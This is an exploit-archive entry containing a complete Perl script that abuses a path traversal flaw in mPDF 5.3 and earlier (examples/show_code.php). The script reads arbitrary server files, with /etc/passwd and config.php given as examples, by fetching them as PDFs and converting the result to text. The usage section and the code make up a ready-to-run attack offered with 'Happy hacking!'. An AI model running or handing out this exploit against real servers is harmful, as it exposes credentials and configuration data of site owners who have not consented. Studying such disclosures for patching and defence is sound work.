# Exploit Title: mPDF <= 5.3 File Disclosure
# Google Dork: Please no dork
# Date: 16th December 2011
# Author: ZadYree
# Software Link: http://www.mpdf1.com/mpdf/download
# Version: 5.3 and prior
# Tested on: Multiple
# CVE : N/A
 
#!/usr/bin/perl -U
=head1 TITLE
 
mPDF <= 5.3 File Disclosure Exploit (0day)
 
=head2 SYNOPSIS
 
-- examples/show_code.php --
 
preg_match('/example[0]{0,1}(\d+)_(.*?)\.php/',$filename,$m); <--- URI unproperly filtered.
$num = intval($m[1]);
$title = ucfirst(preg_replace('/_/',' ',$m[2]));
 
if (!$num || !$title) { die("Invalid file"); }
 
=head2 DESCRIPTION
 
This vulnerability, due to a weak filter, lets you download any unprotected remote
content, under PDF format.
The exploit may not work, depending on the set up htaccess/chmod rules on the
remote server.
 
=head2 USAGE
 
perl exploit.pl -r http://p00niez.com/mpdf53/ ../config.php
perl exploit.pl -a http://p00niez.com/mpdf53/ /etc/passwd
 
Requiered modules:
PDF::OCR2
LWP::Simple
File::Type
 
Download a module:
sudo cpan -fi install Module::Name
 
=head3 Author
 
Zadyree ~ 3LRVS Team | Blog: z4d.tuxfamily.org/blog
 
=head3 Thanks
 
PHDays CTF - Yes, CTFs sometime do give you 0dayz
3LRVS Team - Support
 
=cut
 
#************* Configuration **************#
my $pdf_file = '/tmp/b00m.pdf';
$PDF::OCR2::CHECK_PDF = 0;
$del_temp_file = 1;
#******************************************#
 
 
use 5.010;
use PDF::OCR2;
use Getopt::Std;
use LWP::Simple;
use File::Type;
use constant TRUE => 1;
use constant FALSE => 0;
 
help() unless (@ARGV >= 2);
 
my (%optz, $uri);
getopts('rah', \%optz);
my $relative = $optz{'r'};
my $absolute = $optz{'a'};
my $help = $optz{'h'};
help() unless ($absolute || $relatife);
 
my ($purl, $fpath) = @ARGV;
 
my $name = $purl;
$name =~ s{http://(.+?)/.*} {$1};
$name .= ("_" . localtime(time) . ".txt");
 
 
$uri = '/examples/show_code.php?filename=example03_LRVS.php/../../../../../../../../' if ($absolute);
$uri = '/examples/show_code.php?filename=example03_LRVS.php/../../' if ($relative);
 
help() unless ($uri);
 
my $furl = $purl . $uri . $fpath;
$furl =~ s#(//)#$i++?"/":$1#eg; # Yeah that's twisted.
 
say "[*]Retrieving content...";
my $file = make_file(get($furl));
die "[-]The stream you requested is not well formatted (forbidden page, etc).\012" unless is_pdf($file);
 
say "[+]OK\012[*]Converting format...";
$pdf = PDF::OCR2->new($file);
 
my $text = $pdf->text;
$text =~ s/[^\x0A-\x7F]+?//gm;
 
open(my $fh, '>', $name);
print $fh $text;
close($fh);
 
say "[+]OK\012[+]Content successfully extracted!\nFile: ", $name;
 
unlink($pdf_file) if ($del_temp_file == TRUE);
 
 
 
sub make_file {
    my $content = shift;
    open($fh, '>', $pdf_file);
    print $fh $content;
    close($fh);
    return($pdf_file);
}
 
sub is_pdf {
    my $checked_file = shift;
    my $ft = File::Type->new();
    return(1) if ($ft->mime_type($checked_file) eq "application/pdf");
    return(0);
}
 
help() if ($help);
 
sub help {
    say <<"EOF";
 
Usage: perl $0 [-r|-a] http://[mPDF URL] <file_to_read>
 
Details:                  
                           -r : Relative path (ex: ../file.php)
                           -a : Absolute path (ex: /etc/file.zd)
 
For any more information, feel free to contact ZadYree
Happy hacking!
EOF
    exit(0);
}